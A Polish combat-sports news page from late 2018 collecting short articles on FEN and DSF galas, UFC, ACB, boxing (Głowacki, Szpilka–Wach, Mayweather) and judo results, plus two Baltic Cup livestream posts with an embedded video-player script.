Pławecki to mistrz federacji FEN w kategorii do 77 kilogramów. W maju 2018 roku w pojedynku o pas pokonał decyzją sędziów Wojciecha Wierzbickiego. "Boom Boom" jest bardziej doświadczony od Zadory, gdyż ma aż 37 pojedynków na swoim koncie. W 2017 roku stoczył pięć walk, z czego trzy ostatnie wygrał. W 2018 dołożył kolejne trzy zwycięstwa z rzędu. Występ w Lubinie będzie jego drugim pod banderą FEN.

– Kibice K-1 znowu będą mieli coś wyjątkowego dla siebie. Pławecki z Zadorą to starcie, które musi odbyć się na naszej gali. Dominik to wymagający rywal, ale z takimi też chce się mierzyć Łukasz, który w ostatnim czasie wygrywa walkę za walką i jest nie do zatrzymania. Tą konfrontacją wyłonimy najlepszego Polaka w tej kategorii wagowej – powiedział prezes FEN, Paweł Jóźwiak.

Karta walk FEN 23:

  • Norman Parke VS TBA -74 kg
  • Marcin Zontek VS Marcin Sianos -120 kg
  • Łukasz Pławecki VS Dominik Zadora – 77 kg* K-1
  • Tymoteusz Łopaczyk VS Szymon Dusza -77 kg
  • Wojciech Wierzbicki VS TBA -77 kg K-1
  • Eliasz Jankowski VS TBA -67 kg K-1
  • TBA VS TBA
  • TBA VS TBA
  • TBA VS TBA

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Konferencja prasowa przed galą FEN 23 – ogłoszenie rywala Normana Parke’a

W piątek 23 listopada 2018 roku o godzinie 15 we Wrocławiu odbędzie się konferencja prasowa przed galą Fight Exclusive Night 23. Wydarzenie odbędzie się 12 stycznia w gali RCS w Lubinie.

W konferencji prasowej udział wezmą Norman Parke, Łukasz Pławecki, Dominik Zadora, Marcin Zontek, Marcin Sianos, Tymoteusz Łopaczyk, Szymon Dusza oraz prezes FEN, Paweł Jóźwiak.

Podczas konferencji kibice poznają nazwisko rywala Normana Parke'a.

Transmisję na żywo z konferencji przeprowadzi telewizja internetowa FIGHTIME.PL.

Podczas konferencji prasowej zawodnicy po raz pierwszy staną ze sobą face to face.

***

Co: konferencja prasowa

Gdzie: Stadion Miejski we Wrocławiu, Aleja Śląska 1, 54-118 Wrocław

O której: start o godzinie 15.

Karta walk FEN 23:

  • Norman Parke VS TBA -74 kg
  • Marcin Zontek VS Marcin Sianos -120 kg
  • Łukasz Pławecki VS Dominik Zadora – 77 kg* K-1
  • Tymoteusz Łopaczyk VS Szymon Dusza -77 kg
  • Wojciech Wierzbicki VS TBA -77 kg K-1
  • Eliasz Jankowski VS TBA -67 kg K-1
  • TBA VS TBA
  • TBA VS TBA
  • TBA VS TBA

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Dołącz do wydarzenia na portalu Facebook: https://www.facebook.com/events/311910869605165/

Brazylijczyk na drodze Polaka

Podczas gali UFC Fight Night 140 w Buenos Aires zaprezentuje się niepokonany w amerykańskiej organizacji Bartosz Fabiński. 17 listopada w Parque Roca Arenie Polak zmierzy się z Michelem Prazeresem.

32-letni Fabiński stoczy swoją czwartą walkę w UFC. Trzy poprzednie wygrał decyzją sędziów pokonując kolejno Garetha McLellana, Hectora Urbinę i Emila Webera Meeka. Debiut Polaka w amerykańskiej organizacji przypadł na galę w Krakowie w 2015 roku. Fabiński zastąpił kontuzjowanego Krzysztofa Jotkę i zmierzył się z McLellanem. Po dwóch zwycięstwach zniknął jednak z UFC na blisko trzy lata. Fabiński poświęcił się kwestiom zdrowotnym i sprawom prywatnym. Na początku 2018 roku powrócił do treningów, a następnie wznowił kontrakt z UFC. W oktagonie ponownie zaprezentował się 22 lipca w Hamburgu i zapisał na swoim koncie trzecie zwycięstwo w organizacji. Warto dodać, że w Barclaycard Arenie wystąpili również Marcin Tybura oraz Damian Stasiak – pierwszy wygrał walkę, drugi poniósł porażkę.

17 listopada Polaka czeka kolejne wyzwanie. W Buenos Aires zmierzy się z mocnym Michelem Prazeresem. Brazylijczyk ma zdecydowanie większe doświadczenie w UFC niż Polak. 37-letni zawodnik stoczył jedenaście walk, z których dziewięć wygrał. Prazeres może pochwalić się serią siedmiu zwycięstw z rzędu. W tym roku pokonał Desmonda Greena i Zaka Cummingsa. Warto dodać, że brazylijski zawodnik znakomicie czuje się w parterze.

Dla Fabińskiego starcie z Prazeresem stanowi szansę na przedarcie się do czołówki kategorii półśredniej. Jeśli Polak powstrzyma groźnego Brazylijczyka, jego nazwisko może zyskać na atrakcyjności. Ponadto 32-latek ma szansę przedłużyć serię zwycięstw do ośmiu.

W walce wieczoru gali w Buenos Aires spotkają się Santiago Ponzinibbio i Neil Magny. Argentyńczyk jest w gazie, ponieważ wygrał sześć pojedynków z rzędu. Ostatnio walczył jednak w grudniu 2017 roku, kiedy decyzją sędziów pokonał Mike'a Perry'ego. Z kolei Magny ma za sobą dwa zwycięstwa – w pokonanym polu pozostawił Craiga White'a i Carlosa Condita. Wcześniej przegrał z Rafaelem dos Anjosem.

Po dwóch porażkach na zwycięstwo liczy zawodnik wagi piórkowej Ricardo Lamas. Jego rywalem będzie Darren Elkins, który ostatnio przegrał z Alexandrem Volkanovskim.

Fot. Bartosz Fabiński Facebook

KM

Tomasz Sarara przed walką o tytuł na gali DSF 18: „Nadchodzi król, mistrzowski pas wraca do Polski!”

Od czerwca 2017 roku na tronie wagi ciężkiej federacji DSF zasiada mocarny Petr Romankevich. Może się to zmienić już 8 grudnia na gali DSF 18 w Ząbkach, gdy naprzeciw niego stanie debiutujący w DSF Kickboxing Challenge zawodowy mistrz świata Tomasz Sarara. Arcyciekawy białorusko-polski pojedynek będzie głównym daniem imprezy transmitowanej przez TVP Sport.

28-letni Romankevich już dwukrotnie z powodzeniem bronił mistrzowskiego tytułu w królewskiej kategorii. W ostatnim występie, w kwietniu na gali DSF 14 w Warszawie, Białorusin efektownie znokautował Dawida Żółtaszka wysokim kopnięciem.

– Mój rywal jest wszystkim doskonale znany, to mistrz federacji DSF Kickboxing Challenge w wadze ciężkiej, ale spokojnie, nie będzie nim długo. Romankevich regularnie strąca polskich zawodników ze swojej szachownicy, ale teraz nadchodzi król polskiej sceny! – mówi pewny siebie Sarara, który nie zaznał goryczy porażki od ponad sześciu lat.

Starcie Romankevich-Sarara o mistrzowski pas federacji DSF w wadze ciężkiej odbędzie się na dystansie 5 rund po 3 minuty. Przed walką wieczoru do ringu wyjdzie doskonale znany kibicom Daniel Omielańczuk, który już po raz trzeci wystąpi na gali DSF Kickboxing Challenge. Jego poprzednie wygrane pojedynki można obejrzeć na kanale YouTube.

Niestety 8 grudnia w Ząbkach nie dojdzie do rewanżowego pojedynku Kamila Ruty z Dawidem Mirkowskim. Powodem jest kontuzja nogi tego pierwszego. Wyczekiwane drugie starcie warszawskich zawodników zostanie przełożone na 2019 rok.

Na gali DSF 18 odbędzie się złożony z pięciu walk międzynarodowy mecz K-1 Polska-Białoruś. Biało-czerwone barwy reprezentować będą: Mateusz Duczmal (91 kg), Łukasz Bartnik (86 kg), Dawid „Mirko” Mirkowski (81 kg), Michał Ronkiewicz (75 kg) oraz Michał „Matrix” Królik (65 kg).

Gala DSF Kickboxing Challenge 18 odbędzie się 8 grudnia o godzinie 19:50. Transmisja na żywo po raz pierwszy w TVP Sport. Bilety są dostępne na DSFTicket.com. Newsy związane z imprezą można śledzić na bieżąco na stronie wydarzenia na Facebooku >>>

Medale polskich judoczek

Agata Perenc (52kg) oraz Beata Pacut (78kg) wywalczyły brązowe medale w zawodach Grand Prix w judo w Taszkiencie. Biało-czerwone odniosły również sukcesy w mistrzostwach świata wojskowych.

Jesień w wykonaniu Agaty Perenc jest imponująca. W październiku w Cancun zawodniczka Polonii Rybnik sięgnęła po srebro. Lepsza od Polki była jedynie Hiszpanka Ana Perez Box. W Taszkiencie Perenc rozpoczęła rywalizację od zwycięstwa z Zukhrakhon Mamurjonovą. Następnie Polka uporała się z mistrzynią Europy U23 Betiną Temelkovą. O finał judoczce Polonii Rybnik przyszło walczyć z mocną Evelyne Tschopp. Brązowa medalistka mistrzostw Europy w Tel Avivie zwyciężyła przed czasem, a więc Polce pozostała walka o najniższy stopień podium. Perenc zmierzyła się z Reką Pupp. O zwycięstwie Polki przesądziło waza ari. Tym samym Perenc po raz kolejny zakończył rywalizację w Taszkiencie z medalem – rok temu zdobyła srebro. -To mój 6 medal z zawodów z cyklu Grand Prix ale to nie koniec bo brakuje mi złota do kolekcji – napisała Perenc na swoim Facebooku.

Trzeci brąz w tym roku na swoim koncie zapisała Beata Pacut. Zawodniczka Czarnych Bytom stawała na podium Grand Prix w Tbilisi oraz po raz pierwszy w zawodach rangi Grand Slam w Abu Dhabi. Rywalizację w Taszkiencie rozpoczęła od dwóch zwycięstw po czterominutowych bojach. W półfinale Polka trafiła na Bernadette Graf. Agresywna walka zakończyła się zwycięstwem Austriaczki, a Pacut przyszło rywalizować o brąz z Anastasiją Dmitrievą. 22-letnia Polka stoczyła kolejnych zacięty pojedynek, który zakończył się jej triumfem w dogrywce (dyskwalifikacja rywalki).

Warto również odnotować piąte miejsce Anny Borowskiej (57kg). Polka w starciu o brąz uległa Niemce Amelie Stoll. Na siódmym lokatach rywalizację w Taszkiencie zakończyli Julia Kowalczyk (57kg) i Damian Stępień (81kg).

Rywalizację w Grand Prix w stolicy Uzbekistanu zdominowali reprezentanci Kosowa, którzy zdobyli trzy złote i jeden srebrny medal. Za ich plecami Azerbejdżan – trzy złote i brąz, dalej Mongolia (2, 1, 0), Niemcy (1, 3, 5) oraz Uzbekistan (1, 3, 1). Polska na 14. miejscu.

Mistrzowskie medale

W mistrzostwach świata wojskowych w Rio de Janeiro medale dla Polski zdobyli: Daria Pogorzelec (70kg) – srebro) oraz Kinga Kubicka (48kg) i Karolina Pieńkowska (52kg) – brązowe krążki. Na piątych miejscach rywalizację zakończyły Agata Ozdoba-Błach i Karolina Tałach (obie 63kg).

Fot. PZJudo

KM

 

Głowacki w półfinale WBSS!

W Chicago Krzysztof Głowacki pokonał na punkty Maksima Własowa i awansował do półfinału World Boxing Super Series. Polak wywalczył również tymczasowy tytuł WBO wagi junior ciężkiej. W półfinale WBSS bokser z Wałcza zmierzy się z Mairisem Briedisem. Warto również wspomnieć o kolejnej fenomenalnej walce Oleksandra Usyka, który tym razem znokautował Tony'ego Bellew.

Głowacki zapisał na swoim koncie 31 zwycięstwo w karierze. Wiadomo było, że w Chicago czeka go trudne zadanie, jednak pięściarz z Wałcza pokazał wysokie umiejętności. Od początku ruszył na Własowa i posłał w jego stronę kilka mocnych ciosów. Dla Rosjanina był to wyraźny sygnał, że musi się mieć na baczności. Głowacki był konsekwentny i w trzeciej rundzie Własow miał problemy. 32-latek upadł po jednym z ciosów polskiego pięściarza. Ta sytuacja podziałała mobilizująco na Własowa, który stał się aktywniejszy, jednak nie zdziałał zbyt wiele. W siódmej rundzie sytuacja wróciła do normy i ponownie Głowacki prowadził pojedynek. Końcówka nie zmieniła obrazu całego starcia, choć pięściarze starali się zaakcentować mocnym ciosem swoją siłę. Nadal lepiej wyglądał Głowacki, co potwierdzili również sędziowie – 118-110, 117-110 i 115-112 dla "Główki". Polak z tymczasowym pasem mistrza świata WBO i w półfinale WBSS! Z kolei Własow poniósł trzecią porażkę w karierze. Rosjanin pozostawał niezwyciężony od ponad trzech lat.

Półfinałowym rywalem Głowackiego będzie Mairis Briedis, który w Chicago wygrał na punkty z Noelem Gevorem. Dla Łotysza było to 25 zwycięstwo w karierze.

Skuteczny Usyk

Po zwycięstwie w pierwszej edycji WBSS tempa nie zwalnia Oleksandr Usyk. 31-letni Ukrainiec zmierzył się w Manchesterem z Tony'm Bellew. Początek starcia spokojny, obaj pięściarze powoli się rozkręcali. W trzecie rundzie nastąpiło przyspieszenie i Usyk zaczął wykorzystywać swoje atuty. Ukrainiec rozkręcał się, a Bellew nie potrafił zagrozić rywalowi. W ósmej rundzie Usyk dopadł rywala pod linami i potężnym sierpem posłał go na deski. 

Pewne i efektowne zwycięstwo ukraińskiego pięściarza, który obronił pasy mistrzowskie IBF, WBA, WBC i WBO w kategorii junior ciężkiej.

Fot. Krzysztof Głowacki Facebook

KM

Król Artur

Interesująca walka w Gliwicach! Artur Szpilka niejednogłośnie na punkty pokonał Mariusza Wacha. Nie obyło się jednak bez kontrowersji i gwizdów.

To miało być starcie o panowanie w wadze ciężkiej w Polsce. W końcu na gali Knockout Boxing Night #5 do rywalizacji stanęli pięściarze, którzy swego czasu walczyli o pasy mistrzowskie w kategorii królewskiej. Pojedynek mógł się podobać, choć werdykt budził kontrowersje.

Od początku, pierwsze minuty zwiastowały, że walka może być ciekawa. Szpilka imponował szybkością, z kolei Wach wykorzystywał swój zasięg. W drugiej odsłonie prawy "Wikinga" ukąsił "Szpilę", który lekko się zachwiał. Z jednej i drugiej strony padały mocne ciosy, co podobało się publiczności. W czwartej rundzie zarysowała się przewaga Wacha, a piąta dostarczyła ogromnych emocji. Szpilka atakował, jednak Wach się skutecznie bronił. Chwilę później role się odwróciły. W szóstej odsłonie wydawało się, że koniec jest bliski. Wach dopadł Szpilkę w narożniku, a ten opuścił ręce. 38-latek nie wykorzystał jednak szansy. Siódma runda spokojniejsza, a ósma pod dyktando Szpilki. Widać było, że Wach odczuwa zmęczenie. Walka się wyrównała w dziewiątej rundzie, jednak przebudzenie nastąpiło w ostatniej odsłonie. Prawdziwa wojna ringowa – cios za ciosem. Wach potężnie trafił rywala, który padł na deski. Sędzia dał mu chwilę i pięściarz z Wieliczki przystąpił do dalszej rywalizacji. Wach starał się dobić rywala, jednak ten dotrwał do końca.

Werdykt – 97:93 dla Szpilki, 96:94 dla Wacha i 95:94 dla Szpilki. Publiczność zareagowała gwizdami, pojawiły się emocje i zamieszanie, w którym uczestniczył "Szpila". Z pewnością werdykt będzie szeroko komentowany, ponieważ widać w ocenie jednego z sędziów sporą różnicę względem dwóch pozostałych. Czy to rozstrzygnięcie zapowiada drugą odsłonę rywalizacji Szpilki z Wachem?

W Gliwicach tytuł mistrzyni świata WBC wagi super półśredniej obronił Ewa Piątkowska. Polka pewnie na punkty pokonała Ornellę Domini. Szybko z Jeanem Michelem Hamilcaro uporał się Maciej Sulęcki. "Striczu" wygrał przez techniczny nokaut w drugiej rundzie. Z kolei w trzeciej odsłonie Marek Matyja zastopował Remigiusza Woza w starciu wagi półciężkiej.

Kolejne zwycięstwa do swoich bilansów dopisali Przemysław Zyśk, Łukasz Różański oraz Paweł Stępień.

KM

Polski pojedynek na szczycie

Najważniejsza walka 2018 roku w polskim boksie coraz bliżej. 10 listopada w Gliwicach w pojedynku wieczoru gali KnockOut Boxing Night #5 Artur Szpilka zmierzy się z Mariuszem Wachem.

Pojedynek o panowanie w wadze ciężkiej w Polsce albo jak wolą inni – „o być albo nie być” jednego z pięściarzy. Zwycięstwo da powietrze i przepustkę do kolejnych walk z klasowymi rywalami. Porażka może zamknąć drzwi do wielkiego boksu. Kto jest faworytem? Zdania są podzielone. Wiadomo, że każdy z pięściarzy posiada określone atuty, a przede wszystkim Szpilka i Wach mają bogaty bagaż doświadczeń.

Obaj mieli okazję boksować o mistrzostwo świata. W listopadzie 2012 roku popularny "Wiking" zmierzył się z Władimirem Kliczko o pasy IBO, IBF, WBA i WBO. Wach przegrał wyraźnie na punkty, ale później wykryto u niego niedozwolone środki. Polak został zdyskwalifikowany na osiem miesięcy. Wrócił w październiku 2014 roku i stopniowo dochodził do formy. Po czterech zwycięstwach Wach dostał kolejną szansę na wywalczenia pasa mistrzowskiego. W listopadzie 2015 roku w Kazaniu zmierzył się z Aleksandrem Powietkinem o tytuł WBC Silver, jednak przegrał. Później pojawiły się oskarżenia o stosowanie dopingu przez pochodzącego z Krakowa boksera. Kolejne dwie walki Wach wygrał, jednak rok temu przegrał z Jarrellem Millerem, który niedawno uporał się z Tomaszem Adamkiem.

Artur Szpilka zachwycał postawą w ringu i nokautował kolejnych rywali. Dobrze prezentował się w Stanach Zjednoczonych, co spowodowało, że stał się polską nadzieją boksu. W styczniu 2014 roku zatrzymał go Bryant Jennings. Szpilka miał już okazję walczyć o prymat w wadze ciężkiej w Polsce. Cztery lata temu w Krakowie uporał się z Tomaszem Adamkiem. Szpilka ponownie ruszył do Stanów, gdzie przed czasem wygrał trzy pojedynki, a w nagrodę dostał starcie z mistrzem WBC Deontayem Wilderem. Polak radził sobie dobrze, był równorzędnym rywalem dla Amerykanina, jednak w dziewiątej rundzie padł na deski. "Szpila" musiał odpocząć od boksu ze względu na problemy z ręką. W końcu wrócił, ale przegrał niespodziewanie przez nokaut z Adamem Kownackim. Wtedy wszyscy zastanawiali się co dalej z pięściarzem z Wieliczki. Powrót nastąpił w maju br., kiedy to Szpilka zaprezentował się na Stadionie Narodowym w Warszawie, gdzie pokonał Dominicka Guinna.

Dzieli ich dziesięć lat. Siła ciosu leży po stronie Wacha, z kolei Szpilka jest bardziej wszechstronny. Obaj potrzebują zwycięstwa „jak wody”, aby wrócić do gry na najwyższym poziomie. Zwycięzca może być tylko jeden.

Fot. materiały organizatora

KM

Druga walka Helda w ACB

10 listopada na gali ACB 90 w Moskwie Marcin Held zmierzy się z Musą Khamanaevem. Dla Polaka będzie to drugi występ w rosyjskiej organizacji.

Marcin Held intensywnie pracuje. W sierpniu rywalizował w grapp linowym turnieju Kasai 3. Polski zawodnik miał okazję również trenować w Nowym Jorku w Renzo Gracie Academy. Z kolei na początku września Held wystąpił w grapplingowym turnieju Quintet w Las Vegas, gdzie z drużyną Polaris zajął drugie miejsce. To nie koniec jego tegorocznych planów. 10 listopada 26-latek stoczy walkę na zasadach MMA na gali ACB 90 w Moskwie, a 9 grudnia stanie przed szansą na zdobycie pasa! Podczas Polaris 8 w walce grapplingowej zmierzy się z Rossem Nicholsem.

Zatrzymajmy się jednak przy najbliższym występie Helda. Zawodnik pochodzący z Tych odlicza dni do starcia z Musą Khamanaevem. 30-latek urodzony w Groznym przez blisko dwa lata (2012-2014) dzierżył pas mistrzowski organizacji M-1 Global w wadze lekkiej. Pierwszą walkę w ACB stoczył 4 października 2014 roku w Groznym. W premierowej odsłonie znokautował Erica Reynoldsa. Dotychczas Khamanaev stoczył pięć walk w ACB, z których cztery wygrał. Przegrał jedynie z Luisem Palomino, a ostatnio pokonał Efraina Escudero. Co istotne, Rosjanin dobrze czuje się w stójce i parterze.

Dla Helda będzie to drugie starcie w ACB. W debiucie Polak zaprezentował się niezwykle efektownie i w zaledwie 69 sekund odprawił Callana Pottera. Dźwignia na nogę rywala i ten musiał odklepać, a zawodnik pochodzący w Tych mógł cieszyć się z triumfu. Wcześniej Polak był związany kontraktem z UFC, jednak jego przygoda z amerykańską organizacją nie należała do udanych. 26-latek z czterech walk wygrał zaledwie jedną. Na pożegnanie pokonał Nasrata Haqparasta. Wcześniej udanie prezentował się w organizacji Bellator, gdzie rywalizował o pas wagi lekkiej.

Dla Polaka starcie z Khamanaevem będzie należało do tych z kategorii wymagających. Rywalizacja z rosyjskimi zawodnikami nigdy nie należy do łatwych. Ponadto Khamanaev posiada niebagatelne doświadczenie i odnajduje się w parterze, który jest królestwem Helda. Jednak to Polak ma więcej walk na koncie w MMA. Held stoczył 31 pojedynków, zaś Khamanaev 23. W Moskwie Held będzie celował w 25 zwycięstwo w karierze.

Fot. Marcin Held Facebook

KM

Mayweather wystąpi w Japonii

Floyd Mayweather Jr. podjął decyzję o powrocie na ring. Były bokserski mistrz świata WBC i WBA wagi półśredniej wystąpi na gali japońskiej organizacji promującej MMA – RIZIN. 31 grudnia Mayweather zmierzy się z Tenshinem Nasukawą.

W sierpniu 2017 roku "Money" uczestniczył w nietypowym wydarzeniu. Utytułowany pięściarz w T-Mobile Arenie w Las Vegas stoczył pojedynek z gwiazdą UFC Conorem McGregorem. Sędzia przerwał starcie w dziesiątej rundzie, a Mayweather zapisał na swoim koncie 50 wygraną w karierze. O samej walce mówiło się wiele, zawodnicy tworzyli show i przykuwali uwagę. Efekt? „Money” zarobił, według różnych źródeł, 250 – 300 milionów dolarów. Po wygranej Mayweather ogłosił zakończenie kariery bokserskiej.

Dla wielu Amerykanin uchodzi za jednego z najlepszych pięściarz w historii. W końcu był posiadaczem tytułów w pięciu różnych kategoriach wagowych. 41-latek ciągle budzi ogromne zainteresowanie. Dla wielu organizacji oraz wydarzeń jego nazwisko stanowi ogromny walor promocyjny. Sam Mayweather również potrafi wykorzystać swój potencjał (nie tylko sportowy). Od pewnego czasu mówiło się, że „Money” stoczy kolejną walkę. Sam zainteresowany podkreślał chęć występu w Japonii. Tak też się stanie. 31 grudnia Mayweather zaprezentuje się na gali RIZIN 14 w Saitamie. Jego rywalem będzie 20-letni Tenshin Nasukawa. Japończyk, mierzący 162 cm, jest niezwykle utalentowany i wygrywa walkę za walką. Na swoim koncie ma 27 triumfów w kickboxingu i cztery w MMA.

Co do samej walki Mayweathera z Nasukawą, nie wiadomo na jakich zasadach miałaby się odbyć. Teoretycznie do starcia jest mniej niż dwa miesiące, ale strony do kwestii organizacyjnych podchodzą na spokojnie. Dla Japończyka pojedynek z Amerykaninem to okazja do promocji i wypłynięcia na szerokie wody. Z kolei Mayweather sięga po nowe doświadczenie, ponieważ nigdy nie walczył poza Stanami Zjednoczonymi.

Niewykluczone, że starcie z Nasukawą nie będzie ostatnim wyzwaniem dla amerykańskiego pięściarza. Mówi się o ewentualnym pojedynku Mayweathera z mistrzem wagi lekkiej UFC Chabibem Nurmagomedowem. Również Manny Pacquiao zapowiadał, że będzie chciał spotkać się ponownie z Mayweatherem. Jak widać mimo zakończenia kariery, Money jest rozchwytywany. Magia nazwiska.

KM

LIVE: Baltic Cup 2 – Day 2 (MATA)

Zapraszamy na transmisję telewizyjną z Baltic Cup 2, które odbywają się w Sejnach.

[kod]

Baltic Cup 2 – Sejny 2018

Baltic Cup 2 – Sejny 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live-sd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live-sd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live-sd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Złoto i brąz z Gyor

Julia Kowalczyk (57kg) została młodzieżową mistrzynią Europy do lat 23 lat w judo w węgierskim Gyor. Z kolei Oleksii Lysenko (100kg) wywalczył brąz.

W czempionacie zaprezentowało się blisko 300 judoczek i judoków. Pierwszoplanową rolę odegrali Rosjanie, którzy zdobyli dziewięć medali, w tym trzy złote. Ponadto – dwa srebra i cztery brązy. Dwa złote krążki pozwoliły reprezentacji Kosowa pozwoliły zająć drugie miejsce w klasyfikacji medalowej. Trzecia Gruzja, której reprezentanci pięciokrotnie stawali na podium – 1, 2, 2.

Również Polska miała okazję do radości. Największą za sprawą Julii Kowalczyk, która została mistrzynią Europy! To ogromny sukces 21-latki, ale nie pierwszy medal mistrzostw Europy w jej karierze. Wcześniej judoczka Polonii Rybnik zdobywała brązowe krążki w zmaganiach juniorów i kadetów (łącznie cztery). W tym sezonie Kowalczyk błysnęła w startach na poziomie seniorskim. Młoda judoczka wygrała zawody Pucharu Europy w Mińsku i była trzecia w Saarbrucken. W Gyor Julia Kowalczyk stoczyła cztery pojedynki. Polka rywalizację w młodzieżowych mistrzostwach Europy rozpoczęła od wygranej z Flaką Loxhą z Kosowa. Następnie trafiała na rywalki, które w tym sezonie zapisała na swoim rozkładzie. Mariia Skora i Anne Schmidt musiały uznać wyższość Polki przed czasem. Z kolei w finale Kowalczyk przez waza ari uporała się z Lele Nairne. 

Brąz na swoim koncie zapisał Oleksii Lysenko. Dla zawodnika, który zadebiutował w biało-czerwonych barwach w czerwcu to ogromny sukces. W Belgradzie odpadł w pierwszej rundzie, ale w kolejnym starcie z Saarbrucken wywalczył brąz. Na początku września niespełna 22-letni judoka zajął piąte miejsce w Bratysławie. Lysenko podkreślał, że jego celem na ten rok są młodzieżowe mistrzostwa Europy. Spisał się mówiąc najprościej na medal. Lysenko szedł jak burza i dwie pierwsze walki w Gyor wygrał przed czasem. Trzecią po dogrywce, jednak w półfinale lepszy okazał się Domenik Schoenefeld. Niemiec szybko znalazł sposób na reprezentanta Polski.  W starciu o brąz Lysenko spotkał się ze Szwajcarem Otto Imalą, który musiał pożegnać się z marzeniami o medalu. Reprezentant Polski do rozstrzygnięcia starcia na swoją korzyść potrzebował nieco ponad minuty.

Fot. European Judo Union/PZJudo

KM

LIVE: Baltic Cup 2 – Day 1 (MATA)

Zapraszamy na transmisję telewizyjną z Baltic Cup 2, które odbywają się w Sejnach.

[kod]

Baltic Cup 2 – Sejny 2018

Baltic Cup 2 – Sejny 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live-sd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live-sd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live-sd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

DSF 18: Romankiewicz-Sarara o mistrzowski pas w królewskiej kategorii! | Ząbki, 8 grudnia 2018

Ostatnia w 2018 roku gala DSF Kickboxing Challenge przyniesie wielkie grzmoty w wadze ciężkiej. W walce wieczoru mocarny Białorusin Piotr Romankiewicz będzie bronił tytułu w starciu z debiutującym w federacji DSF arcymistrzem kickboxingu Tomaszem Sararą. 8 grudnia na DSF 18 w Ząbkach wystąpi także Daniel Omielańczuk.

Mierzący blisko dwa metry wzrostu Romankiewicz panuje na tronie od czerwca 2017 roku, kiedy to pokonał Michała Turyńskiego na gali DSF 10 w Nowym Sączu. Od tego czasu białoruski imperator rozbija przeciwników w obronach tytułu. W ostatnim występie efektownie znokautował Dawida Żółtaszka podczas kwietniowej gali DSF 14 na Torwarze. Największe wyzwanie czeka 28-letniego mistrza w trzeciej obronie, gdy naprzeciw niego stanie najlepszy polski kickbokser w osobie Tomasza Sarary.

– Jestem królem wagi ciężkiej, nie dobieram sobie rywali. Federacja DSF wystawia mi swoich najlepszych zawodników, a ja po kolei ich strącam. Mam nadzieję, że następny rywal postawi mi mocny opór. Jestem gotowy na każdego. Sarara padnie jak wszyscy przed nim. Zabieram pas z powrotem na Białoruś! – zapewnia Piotr Romankiewicz.

Pretendent do tytułu w swoim ostatnim występie na Narodowej Gali Boksu w Warszawie pokonał przed czasem Tomasa Mozny’ego, zdobywając tytuł mistrza świata WKN. 33-letni Sarara ma także na koncie mistrzowskie tytuły federacji FEN oraz Celtic Gladiator. Podpisując kontrakt z DSF Kickboxing Challenge, zawodnik klubu TS Wisła postawił sobie za cel zdobycie trofeów w dwóch najcięższych kategoriach.

– Romankiewicz jest na tronie od dawna i cały czas strąca kolejnych Polaków. To wielki mistrz, ale pas nie pozostanie w jego rękach długo. Nadchodzi nowy król. Tym razem tytuł zostanie w Polsce, a nowym mistrzem zostanę ja! – przekonuje niepokonany od ponad sześciu lat Tomasz Sarara, pogromca m.in. Daniela Omielańczuka, Niko Falina, Karola Celińskiego i Michała Turyńskiego.

Na gali DSF 18 odbędzie się także międzynarodowy mecz K-1 Polska-Białoruś. Biało-czerwone barwy reprezentować będą: Mateusz Duczmal (91 kg), Łukasz Bartnik (86 kg), Dawid „Mirko” Mirkowski (81 kg), Michał Ronkiewicz (75 kg) oraz Michał „Matrix” Królik (65 kg).

Gala DSF Kickboxing Challenge 18 odbędzie się 8 grudnia o godzinie 19:50. Bilety są dostępne na DSFTicket.com.

Głowacki powalczy o pas!

10 listopada w UIC Pavilion w Chicago Krzysztof Głowacki zmierzy się z Maksimem Własowem w pojedynku ćwierćfinałowym World Boxing Super Series. Stawką walki będzie tymczasowe mistrzostwo świata kategorii junior ciężkiej WBO.

W sierpniu okazało się, że uczestnikami turnieju WBSS będą Krzysztof Głowacki i Mateusz Masternak. "Master" pożegnał się z rywalizacją po porażce z Yunierem Dorticosem. Głowacki czeka na swoją walkę, która odbędzie się 10 listopada w Chicago. Dla 32-letniego pięściarza będzie to nie tylko starcie o awans do półfinału, ale również pojedynek o tymczasowe mistrzostwo świata. Taką decyzję przegłosowała rada delegatów WBO na kongresie w Panamie.

Nadzieję na walkę o tymczasowe mistrzostwo świata miał Firat Arslan, który w najnowszym zestawieniu organizacji jest trzeci. Niemiec z tureckimi korzeniami chciał rywalizować z Imre Szello. Z nadziei Arslana nic jednak nie wyszło. Delegaci WBO podjęli inną decyzję, czym wsparli ideę i rangę turnieju World Boxing Super Series.

Warto podkreślić, że obecnie pas mistrzowski WBO w kategorii junior ciężkiej dzierży Oleksandr Usyk, czyli poprzedni triumfator WBSS. 10 listopada Ukrainiec spotka się z Tonym Bellew. Wszystko wskazuje na to, że w przypadku wygranej Usyk zwakuje pas i zdecyduje się na zmagania w wadze ciężkiej. Wtedy lepszy z pary Głowacki – Własow stanie się pełnoprawnym czempionem.

Ćwierćfinał WBSS zaplanowany na 10 listopada zapowiada się ciekawie. Krzysztof Głowacki po raz drugi stanie przed szansą na zdobycie pasa. Pięściarz z Wałcza miał już w dorobku tytuł WBO, który wywalczył w sierpniu 2015 roku. W Prudential Center w efektowny sposób znokautował Marco Hucka. Polak obronił pas w pojedynku ze Steve'm Cunninghamem, ale w Gdańsk stracił go na rzecz Oleksandra Usyka. Obecnie Głowacki może pochwalić się serią czterech zwycięstw z rzędu. Dla Własowa listopadowe starcie będzie już 45 występem na zawodowych ringach. Dotychczas Rosjanin wygrał 42 walki, w tym 25 przed czasem. W ostatnim występie Własow w 10. rundzie zastopował Olanrewaju Durodolę.

